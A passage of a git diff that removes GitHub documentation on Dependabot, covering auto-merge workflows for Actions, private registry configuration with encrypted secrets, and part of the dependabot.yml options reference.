dependabot/fetch-metadata@d7267f607e9d3fb96fc2fbe83e0af444713e90b7 - with: - github-token: "${{ secrets.GITHUB_TOKEN }}" - - name: Approve a PR - run: gh pr review --approve "$PR_URL" - env: - PR_URL: ${{github.event.pull_request.html_url}} - GH_TOKEN: ${{secrets.GITHUB_TOKEN}} -``` - -{% endraw %} - -## Enabling automerge on a pull request - -If you want to allow maintainers to mark certain pull requests for automerge, you can use {% data variables.product.prodname_dotcom %}'s automerge functionality. This enables the pull request to be merged when any tests and approvals required by the branch protection rules are successfully met. - -For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request) and [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/managing-a-branch-protection-rule). - -You can instead use {% data variables.product.prodname_actions %} and the {% data variables.product.prodname_cli %}. Here is an example that automerges all patch updates to `my-dependency`: - -{% raw %} - -```yaml copy -name: Dependabot auto-merge -on: pull_request - -permissions: - contents: write - pull-requests: write - -jobs: - dependabot: - runs-on: ubuntu-latest - if: github.event.pull_request.user.login == 'dependabot[bot]' && github.repository == 'owner/my_repo' - steps: - - name: Dependabot metadata - id: metadata - uses: dependabot/fetch-metadata@d7267f607e9d3fb96fc2fbe83e0af444713e90b7 - with: - github-token: "${{ secrets.GITHUB_TOKEN }}" - - name: Enable auto-merge for Dependabot PRs - if: contains(steps.metadata.outputs.dependency-names, 'my-dependency') && steps.metadata.outputs.update-type == 'version-update:semver-patch' - run: gh pr merge --auto --merge "$PR_URL" - env: - PR_URL: ${{github.event.pull_request.html_url}} - GH_TOKEN: ${{secrets.GITHUB_TOKEN}} -``` - -{% endraw %} - -> [!NOTE] -> If you use status checks to test pull requests, you should enable **Require status checks to pass before merging** for the target branch for {% data variables.product.prodname_dependabot %} pull requests. This branch protection rule ensures that pull requests are not merged unless **all the required status checks pass**. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/managing-a-branch-protection-rule). - -## Investigating failed workflow runs - -If your workflow run fails, check the following: - -* You are running the workflow only when the correct actor triggers it. -* You are checking out the correct `ref` for your `pull_request`. -* Your secrets are available in {% data variables.product.prodname_dependabot %} secrets rather than as {% data variables.product.prodname_actions %} secrets. -* You have a `GITHUB_TOKEN` with the correct permissions. - -For information on writing and debugging {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/learn-github-actions). - -For more tips to help resolve issues with workflows, see [AUTOTITLE](/code-security/dependabot/troubleshooting-dependabot/troubleshooting-dependabot-on-github-actions). diff --git a/content/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot.md b/content/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot.md deleted file mode 100644 index ebcade2ee12f..000000000000 --- a/content/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot.md +++ /dev/null @@ -1,494 +0,0 @@ ---- -title: Configuring access to private registries for Dependabot -intro: 'You can configure {% data variables.product.prodname_dependabot %} to access dependencies stored in private registries. You can store authentication information, like passwords and access tokens, as encrypted secrets and then reference these in the {% data variables.product.prodname_dependabot %} configuration file.{% ifversion dependabot-on-actions-self-hosted %} If you have registries on private networks, you can also configure {% data variables.product.prodname_dependabot %} access when running {% data variables.product.prodname_dependabot %} on self-hosted runners.{% endif %}' -permissions: '{% data reusables.permissions.dependabot-various-tasks %}' -redirect_from: - - /github/administering-a-repository/managing-encrypted-secrets-for-dependabot - - /code-security/supply-chain-security/managing-encrypted-secrets-for-dependabot - - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot - - /code-security/dependabot/working-with-dependabot/managing-encrypted-secrets-for-dependabot -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Dependabot - - Version updates - - Secret store - - Repositories - - Dependencies -shortTitle: Configure access to private registries ---- - -## About private registries - -{% data variables.product.prodname_dependabot_version_updates %} keeps your dependencies up-to-date and {% data variables.product.prodname_dependabot_security_updates %} updates vulnerable dependencies. {% data variables.product.prodname_dependabot %} can access public registries. In addition, you can give {% data variables.product.prodname_dependabot %} access to private package registries and private {% data variables.product.github %} repositories so that you can keep your private and innersource dependencies as up-to-date and secure as your public dependencies. - -In most ecosystems, private dependencies are usually published to private package registries. These private registries are similar to their public equivalents, but they require authentication. - -For specific ecosystems, you can configure {% data variables.product.prodname_dependabot %} to access _only_ private registries by removing calls to public registries. For more information, see [AUTOTITLE](/code-security/dependabot/maintain-dependencies/removing-dependabot-access-to-public-registries). - -{% ifversion dependabot-on-actions-self-hosted %}To allow {% data variables.product.prodname_dependabot %} access to registries hosted privately or restricted to internal networks, configure {% data variables.product.prodname_dependabot %} to run on {% data variables.product.prodname_actions %} self-hosted runners. For more information, see [AUTOTITLE](/code-security/dependabot/maintain-dependencies/managing-dependabot-on-self-hosted-runners).{% endif %} - -## Configuring private registries - -You configure {% data variables.product.prodname_dependabot %}'s access to private registries in the `dependabot.yml` file. -The top-level `registries` key is optional and specifies authentication details. - -{% data reusables.dependabot.dependabot-updates-registries %} - -{% data reusables.dependabot.dependabot-updates-registries-options %} - -For more information about the configuration options that are available and about the supported types, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#top-level-registries-key). - -## Storing credentials for Dependabot to use - -To give {% data variables.product.prodname_dependabot %} access to the private registries supported by {% data variables.product.prodname_dotcom %}, you store the registry’s access token or secret in the secret store for your repository or organization. - -### About encrypted secrets for {% data variables.product.prodname_dependabot %} - -{% data variables.product.prodname_dependabot %} secrets are encrypted credentials that you create at either the organization level or the repository level. -When you add a secret at the organization level, you can specify which repositories can access the secret. You can use secrets to allow {% data variables.product.prodname_dependabot %} to update dependencies located in private package registries. When you add a secret, it's encrypted before it reaches {% data variables.product.prodname_dotcom %} and it remains encrypted until it's used by {% data variables.product.prodname_dependabot %} to access a private package registry. - -{% data variables.product.prodname_dependabot %} secrets also include secrets that are used by {% data variables.product.prodname_actions %} workflows triggered by {% data variables.product.prodname_dependabot %} pull requests. {% data variables.product.prodname_dependabot %} itself may not use these secrets, but the workflows require them. For more information, see [AUTOTITLE](/code-security/dependabot/troubleshooting-dependabot/troubleshooting-dependabot-on-github-actions#accessing-secrets). - -After you add a {% data variables.product.prodname_dependabot %} secret, you can reference it in the `dependabot.yml` configuration file like this: {% raw %}`${{secrets.NAME}}`{% endraw %}, where "NAME" is the name you chose for the secret. For example: - -{% raw %} - -```yaml copy -password: ${{secrets.MY_ARTIFACTORY_PASSWORD}} -``` - -{% endraw %} - -#### Naming your secrets - -The name of a {% data variables.product.prodname_dependabot %} secret: -* Can only contain alphanumeric characters (`[A-Z]`, `[0-9]`) or underscores (`_`). Spaces are not allowed. If you enter lowercase letters these are changed to uppercase. -* Must not start with the `GITHUB_` prefix. -* Must not start with a number. - -### Adding a repository secret for {% data variables.product.prodname_dependabot %} - -{% data reusables.repositories.permissions-statement-secrets-repository %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.dependabot.sidebar-secret %} -1. Click **New repository secret**. -1. Type a name for your secret in the **Name** input box. -1. Enter the value for your secret. -1. Click **Add secret**. - - The name of the secret is listed on the Dependabot secrets page. You can click **Update** to change the secret value. You can click **Remove** to delete the secret. - -### Adding an organization secret for {% data variables.product.prodname_dependabot %} - -When creating a secret in an organization, you can use a policy to limit which repositories can access that secret. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories. - -{% data reusables.organizations.secrets-permissions-statement %} - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.dependabot.sidebar-secret %} {% ifversion org-private-registry %}Ignore the "Private Registries" option, this is used only by {% data variables.product.prodname_code_scanning %} default setup.{% endif %} -1. Click **New organization secret**. -1. Type a name for your secret in the **Name** input box. -1. Enter the **Value** for your secret. -1. From the **Repository access** dropdown list, choose an access policy. -1. If you chose **Selected repositories**: - - * Click {% octicon "gear" aria-label="selected repositories" %}. - * In the dialog box, select the repositories that can access this secret. - * Click **Update selection**. - -1. Click **Add secret**. - - The name of the secret is listed on the {% data variables.product.prodname_dependabot %} secrets page. You can click **Update** to change the secret value or its access policy. You can click **Remove** to delete the secret. - -{% ifversion dependabot-on-actions-self-hosted %} - -## Configuring firewall IP rules - -You can add {% data variables.product.prodname_dependabot %}-related IP addresses to your registries IP allow list. - -If your private registry is configured with an IP allow list, you can find the IP addresses {% data variables.product.prodname_dependabot %} uses to access the registry in the meta API endpoint, under the `dependabot` key. If you run {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} self-hosted runners, you should instead use the IP addresses under the `actions` key. For more information, see [AUTOTITLE](/rest/meta/meta) and [AUTOTITLE](/code-security/dependabot/working-with-dependabot/about-dependabot-on-github-actions-runners). - -{% endif %} - -## Allowing external code execution - -When you give {% data variables.product.prodname_dependabot %} access to one or more registries, external code execution is automatically disabled to protect your code from compromised packages. However, some version updates may fail. - -If you need to allow {% data variables.product.prodname_dependabot %} to access a private package registry and enable limited external code execution, you can set `insecure-external-code-execution` to `allow`. Allowing {% data variables.product.prodname_dependabot %} to execute external code in the manifest during updates is not as scary as it sounds: - -* Any external code execution will only have access to the package managers in the registries associated with the enclosing `updates` setting. -* There is no access allowed to any of the registries defined in the top level `registries` configuration. - -It is common for tooling, such as `bundler`, `mix`, `pip`, and `swift`, to allow the execution of external code by default. - -In this example, the configuration file allows {% data variables.product.prodname_dependabot %} to access the `ruby-github` private package registry. In the same `updates`setting, `insecure-external-code-execution`is set to `allow`, which means that the code executed by dependencies will only access the `ruby-github` registry, and not the `dockerhub` registry. -{% raw %} - -```yaml copy -# Allow external code execution when updating dependencies from private registries - -version: 2 -registries: - ruby-github: - type: rubygems-server - url: https://rubygems.pkg.github.com/octocat/github_api - token: ${{secrets.MY_GITHUB_PERSONAL_TOKEN}} -updates: - - package-ecosystem: "bundler" - directory: "/rubygems-server" - insecure-external-code-execution: allow - registries: "*" - schedule: - interval: "monthly" -``` - -{% endraw %} - -## Supported private registeries - -Examples of how to configure access to the private registries supported by {% data variables.product.prodname_dependabot %}. - -{% ifversion dependabot-updates-cargo-private-registry-support %} -* [`cargo-registry`](#cargo-registry){% endif %} -* [`composer-repository`](#composer-repository) -* [`docker-registry`](#docker-registry) -* [`git`](#git) -* [`hex-organization`](#hex-organization) -* [`hex-repository`](#hex-repository) -* [`maven-repository`](#maven-repository) -* [`npm-registry`](#npm-registry) -* [`nuget-feed`](#nuget-feed){% ifversion dependabot-updates-pub-private-registry %} -* [`pub-repository`](#pub-repository){% endif %} -* [`python-index`](#python-index) -* [`rubygems-server`](#rubygems-server) -* [`terraform-registry`](#terraform-registry) - -{% ifversion dependabot-updates-cargo-private-registry-support %} - -### `cargo-registry` - -The `cargo-registry` type supports a token. - -{% data reusables.dependabot.dependabot-updates-path-match %} - -{% data reusables.dependabot.cargo-private-registry-config-example %} - -{% endif %} - -### `composer-repository` - -The `composer-repository` type supports username and password. {% data reusables.dependabot.password-definition %} - -{% data reusables.dependabot.dependabot-updates-path-match %} - -{% raw %} - -```yaml copy -registries: - composer: - type: composer-repository - url: https://repo.packagist.com/example-company/ - username: octocat - password: ${{secrets.MY_PACKAGIST_PASSWORD}} -``` - -{% endraw %} - -### `docker-registry` - -{% data variables.product.prodname_dependabot %} works with any container registries that implement the OCI container registry spec. For more information, see [https://github.com/opencontainers/distribution-spec/blob/main/spec.md](https://github.com/opencontainers/distribution-spec/blob/main/spec.md). {% data variables.product.prodname_dependabot %} supports authentication to private registries via a central token service or HTTP Basic Auth. For further details, see [Token Authentication Specification](https://docs.docker.com/registry/spec/auth/token/) in the Docker documentation and [Basic access authentication](https://en.wikipedia.org/wiki/Basic_access_authentication) on Wikipedia. - -The `docker-registry` type supports username and password. {% data reusables.dependabot.password-definition %} - -{% data reusables.dependabot.dependabot-updates-path-match %} - -{% raw %} - -```yaml copy -registries: - dockerhub: - type: docker-registry - url: https://registry.hub.docker.com - username: octocat - password: ${{secrets.MY_DOCKERHUB_PASSWORD}} - replaces-base: true -``` - -{% endraw %} - -The `docker-registry` type can also be used to pull from private Amazon ECR using static AWS credentials. - -{% raw %} - -```yaml copy -registries: - ecr-docker: - type: docker-registry - url: https://1234567890.dkr.ecr.us-east-1.amazonaws.com - username: ${{secrets.ECR_AWS_ACCESS_KEY_ID}} - password: ${{secrets.ECR_AWS_SECRET_ACCESS_KEY}} - replaces-base: true -``` - -{% endraw %} - -### `git` - -The `git` type supports username and password. {% data reusables.dependabot.password-definition %} - -{% raw %} - -```yaml copy -registries: - github-octocat: - type: git - url: https://github.com - username: x-access-token - password: ${{secrets.MY_GITHUB_PERSONAL_TOKEN}} -``` - -{% endraw %} - -### `hex-organization` - -The `hex-organization` type supports organization and key. - -{% data reusables.dependabot.dependabot-updates-path-match %} - -{% raw %} - -```yaml copy -registries: - github-hex-org: - type: hex-organization - organization: github - key: ${{secrets.MY_HEX_ORGANIZATION_KEY}} -``` - -{% endraw %} - -### `hex-repository` - -The `hex-repository` type supports an authentication key. - -`repo` is a required field, which must match the name of the repository used in your dependency declaration. - -The `public-key-fingerprint` is an optional configuration field, representing the fingerprint of the public key for the Hex repository. `public-key-fingerprint` is used by Hex to establish trust with the private repository. The `public-key-fingerprint` field can be either listed in plaintext or stored as a {% data variables.product.prodname_dependabot %} secret. - -{% raw %} - -```yaml copy -registries: - github-hex-repository: - type: hex-repository - repo: private-repo - url: https://private-repo.example.com - auth-key: ${{secrets.MY_AUTH_KEY}} - public-key-fingerprint: ${{secrets.MY_PUBLIC_KEY_FINGERPRINT}} -``` - -{% endraw %} - -### `maven-repository` - -The `maven-repository` type supports username and password. {% data reusables.dependabot.password-definition %} - -{% data reusables.dependabot.dependabot-updates-path-match %} - -{% raw %} - -```yaml copy -registries: - maven-artifactory: - type: maven-repository - url: https://acme.jfrog.io/artifactory/my-maven-registry - username: octocat - password: ${{secrets.MY_ARTIFACTORY_PASSWORD}} -``` - -{% endraw %} - -### `npm-registry` - -The `npm-registry` type supports username and password, or token. {% data reusables.dependabot.password-definition %} - -When using username and password, your `.npmrc`'s auth token may contain a `base64` encoded `_password`; however, the password referenced in your {% data variables.product.prodname_dependabot %} configuration file must be the original (unencoded) password. - -> [!NOTE] -> When using `npm.pkg.github.com`, don't include a path. Instead use the `https://npm.pkg.github.com` URL without a path. - -{% raw %} - -```yaml copy -registries: - npm-npmjs: - type: npm-registry - url: https://registry.npmjs.org - username: octocat - password: ${{secrets.MY_NPM_PASSWORD}} # Must be an unencoded password - replaces-base: true -``` - -{% endraw %} - -{% raw %} - -```yaml copy -registries: - npm-github: - type: npm-registry - url: https://npm.pkg.github.com - token: ${{secrets.MY_GITHUB_PERSONAL_TOKEN}} - replaces-base: true -``` - -{% endraw %} - -For security reasons, {% data variables.product.prodname_dependabot %} does not set environment variables. Yarn (v2 and later) requires that any accessed environment variables are set. When accessing environment variables in your `.yarnrc.yml` file, you should provide a fallback value such as {% raw %}`${ENV_VAR-fallback}`{% endraw %} or {% raw %}`${ENV_VAR:-fallback}`{% endraw %}. For more information, see [Yarnrc files](https://yarnpkg.com/configuration/yarnrc) in the Yarn documentation. - -### `nuget-feed` - -The `nuget-feed` type supports username and password, or token. {% data reusables.dependabot.password-definition %} - -{% raw %} - -```yaml copy -registries: - nuget-example: - type: nuget-feed - url: https://nuget.example.com/v3/index.json - username: octocat@example.com - password: ${{secrets.MY_NUGET_PASSWORD}} -``` - -{% endraw %} - -{% raw %} - -```yaml copy -registries: - nuget-azure-devops: - type: nuget-feed - url: https://pkgs.dev.azure.com/.../_packaging/My_Feed/nuget/v3/index.json - username: octocat@example.com - password: ${{secrets.MY_AZURE_DEVOPS_TOKEN}} -``` - -{% endraw %} - -{% ifversion dependabot-updates-pub-private-registry %} - -### `pub-repository` - -The `pub-repository` type supports a URL and a token. - -{% raw %} - -```yaml copy -registries: - my-pub-registry: - type: pub-repository - url: https://example-private-pub-repo.dev/optional-path - token: ${{secrets.MY_PUB_TOKEN}} -updates: - - package-ecosystem: "pub" - directory: "/" - schedule: - interval: "weekly" - registries: - - my-pub-registry -``` - -{% endraw %} - -{% endif %} - -### `python-index` - -The `python-index` type supports username and password, or token. {% data reusables.dependabot.password-definition %} - -{% data reusables.dependabot.dependabot-updates-path-match %} - -{% raw %} - -```yaml copy -registries: - python-example: - type: python-index - url: https://example.com/_packaging/my-feed/pypi/example - username: octocat - password: ${{secrets.MY_BASIC_AUTH_PASSWORD}} - replaces-base: true -``` - -{% endraw %} - -{% raw %} - -```yaml copy -registries: - python-azure: - type: python-index - url: https://pkgs.dev.azure.com/octocat/_packaging/my-feed/pypi/example - username: octocat@example.com - password: ${{secrets.MY_AZURE_DEVOPS_TOKEN}} - replaces-base: true -``` - -{% endraw %} - -### `rubygems-server` - -The `rubygems-server` type supports username and password, or token. {% data reusables.dependabot.password-definition %} - -{% data reusables.dependabot.dependabot-updates-path-match %} - -{% raw %} - -```yaml copy -registries: - ruby-example: - type: rubygems-server - url: https://rubygems.example.com - username: octocat@example.com - password: ${{secrets.MY_RUBYGEMS_PASSWORD}} - replaces-base: true -``` - -{% endraw %} - -{% raw %} - -```yaml copy -registries: - ruby-github: - type: rubygems-server - url: https://rubygems.pkg.github.com/octocat/github_api - token: ${{secrets.MY_GITHUB_PERSONAL_TOKEN}} - replaces-base: true -``` - -{% endraw %} - -### `terraform-registry` - -The `terraform-registry` type supports a token. - -{% raw %} - -```yaml copy -registries: - terraform-example: - type: terraform-registry - url: https://terraform.example.com - token: ${{secrets.MY_TERRAFORM_API_TOKEN}} -``` - -{% endraw %} diff --git a/content/code-security/dependabot/working-with-dependabot/dependabot-options-reference.md b/content/code-security/dependabot/working-with-dependabot/dependabot-options-reference.md deleted file mode 100644 index aa27cd20ce4e..000000000000 --- a/content/code-security/dependabot/working-with-dependabot/dependabot-options-reference.md +++ /dev/null @@ -1,694 +0,0 @@ ---- -title: Dependabot options reference -intro: 'Detailed information for all the options you can use to customize how {% data variables.product.prodname_dependabot %} maintains your repositories.' -permissions: '{% data reusables.permissions.dependabot-yml-configure %}' -allowTitleToDifferFromFilename: true -redirect_from: - - /github/administering-a-repository/configuration-options-for-dependency-updates - - /code-security/supply-chain-security/configuration-options-for-dependency-updates - - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates - - /code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: reference -topics: - - Dependabot - - Version updates - - Repositories - - Dependencies - - Pull requests -shortTitle: Dependabot options reference ---- - -## About the `dependabot.yml` file - -The `dependabot.yml` file defines how {% data variables.product.prodname_dependabot %} maintains dependencies using version updates. In addition, all options marked with a {% octicon "shield-check" aria-label="Security updates" height="16" %} icon also change how {% data variables.product.prodname_dependabot %} creates pull requests for security updates, except where `target-branch` is used. - -The {% data variables.product.prodname_dependabot %} configuration file, `dependabot.yml`, uses YAML syntax. If you're new to YAML and want to learn more, see [Learn YAML in five minutes](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes). - -You must store this file in the `.github` directory of your repository in the default branch. When you add or update the `dependabot.yml` file, this triggers an immediate check for version updates. For more information and an example, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates#enabling-dependabot-version-updates). - -> [!NOTE] -> {% data variables.product.prodname_dependabot_alerts %} are configured in the repository or organization "Settings" tab and not in the `dependabot.yml` file, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts). - -### Required keys - -| Key | Location | Purpose | -|--|--|--| -| `version` | Top level| {% data variables.product.prodname_dependabot %} configuration syntax to use. Always: `2`.| -| `updates` | Top level| Section where you define each `package-ecosystem` to update.| -| [`package-ecosystem`](#package-ecosystem-) | Under `updates` | Define a package manager to update. | -| {% ifversion dependabot-updates-multidirectory-support %}[`directories` or `directory`](#directories-or-directory--){% else %}[`directory`](#directory--){% endif %} | Under each `package-ecosystem` entry | Define the location of the manifest or other definition files to update. | -| [`schedule.interval`](#schedule-) | Under each `package-ecosystem` entry | Define whether to look for version updates: `daily`, `weekly`, or `monthly`. | - -Optionally, you can also include a top-level `registries` key to define access details for private registries, see [Top-level `registries` key](#top-level-registries-key). - -```yaml copy - -# Basic `dependabot.yml` file with -# minimum configuration for two package managers - -version: 2 -updates: - # Enable version updates for npm - - package-ecosystem: "npm" - # Look for `package.json` and `lock` files in the `root` directory - directory: "/" - # Check the npm registry for updates every day (weekdays) - schedule: - interval: "daily" - - # Enable version updates for Docker - - package-ecosystem: "docker" - # Look for a `Dockerfile` in the `root` directory - directory: "/" - # Check for updates once a week - schedule: - interval: "weekly" -``` - -For a real-world example of a `dependabot.yml` file, see [{% data variables.product.prodname_dependabot %}'s own configuration file](https://github.com/dependabot/dependabot-core/blob/main/.github/dependabot.yml). - -## `allow` {% octicon "versions" aria-label="Version updates" height="24" %} {% octicon "shield-check" aria-label="Security updates" height="24" %} - -Use to define exactly which dependencies to maintain for a package ecosystem. Often used with the [`ignore`](#ignore--) option. For examples, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/controlling-dependencies-updated#allowing-specific-dependencies-to-be-updated). - -{% data variables.product.prodname_dependabot %} default behavior: - -* {% octicon "versions" aria-hidden="true" %} All dependencies explicitly defined in a manifest are kept up to date by version updates. -* {% octicon "shield-check" aria-hidden="true" %} All dependencies defined in lock files with vulnerable dependencies are updated by security updates. - -When `allow` is specified {% data variables.product.prodname_dependabot %} uses the following process: - -1. Check for all explicitly **allowed** dependencies. -1. Then filter out any **ignored** dependencies or versions. - - If a dependency is matched by an `allow` and an `ignore` statement, then it is **ignored**. - -| Parameters | Purpose | -|------------|---------| -| `dependency-name` | Allow updates for dependencies with matching names, optionally using `*` to match zero or more characters. | -| `dependency-type` | Allow updates for dependencies of specific types. | - -### `dependency-name` (`allow`) - -For most package managers, you should define a value that will match the dependency name specified in the lock or manifest file. A few systems have more complex requirements. - -| Package manager | Format required | Example | -|-----------------|-----------------|---------| -| Gradle and Maven | `groupId:artifactId` | `org.kohsuke:github-api` | -| Docker for image tags |The full name of the repository | For an image tag of `<account ID>.dkr.ecr.us-west-2.amazonaws.com/base/foo/bar/ruby:3.1.0-focal-jemalloc`, use `base/foo/bar/ruby`.| - -### `dependency-type` (`allow`) - -| Dependency types | Supported by package managers | Allow updates | -|------------------|-------------------------------|--------| -| `direct` | All | All explicitly defined dependencies. | -| `indirect` | `bundler`, `pip`, `composer`, `cargo`, `gomod` | Dependencies of direct dependencies (also known as sub-dependencies, or transient dependencies).| -| `all` | All | All explicitly defined dependencies. For `bundler`, `pip`, `composer`, `cargo`, `gomod`, also the dependencies of direct dependencies.| -| `production` | `bundler`, `composer`, `mix`, `maven`, `npm`, `pip` (not all managers) | Only to dependencies defined by the package manager as production dependencies. | -| `development`| `bundler`, `composer`, `mix`, `maven`, `npm`, `pip` (not all managers) | Only to dependencies defined by the package manager as development dependencies. | - -## `assignees` {% octicon "versions" aria-label="Version updates" height="24" %} {% octicon "shield-check" aria-label="Security updates" height="24" %} - -Specify individual assignees for all pull requests raised for a package ecosystem. For examples, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/customizing-dependabot-prs). - -{% data variables.product.prodname_dependabot %} default behavior: - -* Pull requests are created without any assignees. - -When `assignees` is defined: - -* {% octicon "versions" aria-hidden="true" %} All pull requests for version updates are created with the chosen assignees. -* {% octicon "shield-check" aria-hidden="true" %} All pull requests for security updates are created with the chosen assignees, unless `target-branch` defines updates to a non-default branch. - -Assignees must have write access to the repository. For organization-owned repositories, organization members with read access are also valid assignees. - -## `commit-message` {% octicon "versions" aria-label="Version updates" height="24" %} {% octicon "shield-check" aria-label="Security updates" height="24" %} - -Define the format for commit messages. Since the titles of pull requests are written based on commit messages, this setting also impacts the titles of pull requests. For examples, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/customizing-dependabot-prs). - -{% data variables.product.prodname_dependabot %} default behavior: - -* Commit messages follow similar patterns to those detected in the repository. - -When `commit-message` is defined: - -* {% octicon "versions" aria-hidden="true" %} All commit messages follow the defined pattern. -* {% octicon "shield-check" aria-hidden="true" %} All commit messages follow the defined pattern, unless `target-branch` defines updates to a non-default branch. - -| Parameters | Purpose | -|------------|---------| -| `prefix` | Defines a prefix for all commit messages and pull request titles. | -| `prefix-development` | On supported systems, defines a different prefix to use for commits that update dependencies in the Development dependency group. | -| `include` | Follow the commit message prefix with additional information. | - -> [!TIP] -> When pull requests are raised for grouped updates, the branch name and pull request title are defined by the group `IDENTIFIER`, see {% ifversion dependabot-grouped-security-updates-config %}[`groups`](#groups--){% else %}[`groups`](#groups-){% endif %}. - -### `prefix` - -* Used for all commit messages unless `prefix-development` is also defined. -* Value can be up to 50 characters. -* {% data variables.product.prodname_dependabot %} inserts a colon after the prefix before adding the main commit message when the value ends with a letter, number, closing parenthesis, or closing bracket. -* End the value with a whitespace character to stop a colon being added. - -### `prefix-development` - -Supported by: `bundler`, `composer`, `mix`, `maven`, `npm`, and `pip`. - -* Used only for commit messages that update dependencies in the Development dependency group. -* Otherwise, the parameter behaves exactly as the `prefix` parameter. - -### `include` - -* Supports only the value `scope` -* When defined any prefix is followed by the type of dependencies updated in the commit: `deps` or `deps-dev`. - -## {% ifversion dependabot-updates-multidirectory-support %}`directories` or {% endif %}`directory` {% octicon "versions" aria-label="Version updates" height="24" %} {% octicon "shield-check" aria-label="Security updates" height="24" %} - -**Required option**. Use to define the location of the package manifests for each package manager (for example, the _package.json_ or _Gemfile_). Without this information {% data variables.product.prodname_dependabot %} cannot create pull requests for version updates. For examples, see {% ifversion dependabot-updates-multidirectory-support %}[Defining multiple locations for manifest files](/code-security/dependabot/dependabot-version-updates/controlling-dependencies-updated#defining-multiple-locations-for-manifest-files){% else %}[Example dependabot.yml file](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates#example-dependabotyml-file){% endif %}. - -{% ifversion dependabot-updates-multidirectory-support %} -* Use `directory` to define a single directory of manifests. -* Use `directories` to define a list of multiple directories of manifests. -* Define directories relative to the root of the repository for most package managers.{% else %} -* Define the directory relative to the root of the repository for most package managers.{% endif %} -* For {% data variables.product.prodname_actions %}, use the value `/`. {% data variables.product.prodname_dependabot %} will search the `/.github/workflows` directory, as well as the `action.yml/action.yaml` file from the root directory. - -If you need to use more than one block in the configuration file to define updates for a single target branch of an ecosystem, you must ensure that all values are unique and there is no overlap in directories defined. - -{% ifversion dependabot-updates-multidirectory-support %} - -> [!NOTE] -> The `directories` key supports globbing and the wildcard character `*`. These features are not supported by the `directory` key. - -{% endif %} - -## `enable-beta-ecosystems` {% octicon "versions" aria-label="Version updates only" height="24" %} - -Not currently in use. - -## `groups` {% ifversion dependabot-grouped-security-updates-config %}{% octicon "versions" aria-label="Version updates" height="24" %} {% octicon "shield-check" aria-label="Security updates" height="24" %}{% else %}{% octicon "versions" aria-label="Version updates only" height="24" %}{% endif %} - -Define rules to create one or more sets of dependencies managed by a package manager, to group updates into fewer, targeted pull requests. For examples, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/optimizing-pr-creation-version-updates). - -{% data variables.product.prodname_dependabot %} default behavior: - -* Open a single pull request for each dependency that needs to be updated to a newer version for version updates{% ifversion dependabot-grouped-security-updates-config %} and for security updates{% endif %}. - -When `groups` is used to define rules: - -* All {% ifversion dependabot-grouped-security-updates-config %}{% else %}version {% endif %}updates for dependencies that match a rule are combined in a single pull request. -* If a dependency matches more than one rule, it's included in the first group that it matches. -* Any outdated dependencies that do not match a rule are updated in individual pull requests. - -Parameters | Purpose | --------|-------------| -| `IDENTIFIER` | Define an identifier for the group to use in branch names and pull request titles. This must start and end with a letter, and can contain letters, pipes `\|`, underscores `_`, or hyphens `-`. | -| {% ifversion dependabot-grouped-security-updates-config %} | -| `applies-to` | Specify which type of update the group applies to. When undefined, defaults to version updates. Supported values: `version-updates` or `security-updates`. | -| {% endif %} | -| `dependency-type` | Limit the group to a type. Supported values: `development` or `production`. | -| `patterns` | Define one or more patterns to include dependencies with matching names. | -| `exclude-patterns` | Define one or more patterns to exclude dependencies from the group. | -| `update-types` | Limit the group to one or more semantic versioning levels. Supported values: `minor`, `patch`, and `major`. | - -### `dependency-type` (`groups`) - -Supported by: `bundler`, `composer`, `mix`, `maven`, `npm`, and `pip`. - -By default, a group will include all types of dependencies. - -* Use `development` to include only dependencies in the "Development dependency group". -* Use `production` to include only dependencies in the "Production dependency group". - -### `patterns` and `exclude-patterns` (`groups`) - -Both options support using `*` as a wild card to define matches with dependency names. If a dependency matches both a pattern and an exclude-pattern, then it is excluded from the group. - -### `update-types` (`groups`) - -By default, a group will include updates for all semantic versions (SemVer). SemVer is an accepted standard for defining versions of software packages, in the form `x.y.z`. Dependabot assumes that versions in this form are always `major.minor.patch`. - -* Use `patch` to include patch releases. -* Use `minor` to include minor releases. -* Use `major` to include major releases. - -For examples, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/controlling-dependencies-updated#specifying-the-semantic-versioning-level-to-ignore). - -## `ignore` {% octicon "versions" aria-label="Version updates" height="24" %} {% octicon "shield-check" aria-label="Security updates" height="24" %} - -Use with the [`allow`](#allow--) option to define exactly which dependencies to maintain for a package ecosystem. {% data variables.product.prodname_dependabot %} checks for all allowed dependencies and then filters out any ignored dependencies or versions. So a dependency that is matched by both an allow and an ignore will be ignored. For examples, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/controlling-dependencies-updated#ignoring-specific-dependencies). - -{% data variables.product.prodname_dependabot %} default behavior: - -* {% octicon "versions" aria-hidden="true" %} All dependencies explicitly defined in a manifest are kept up to date by 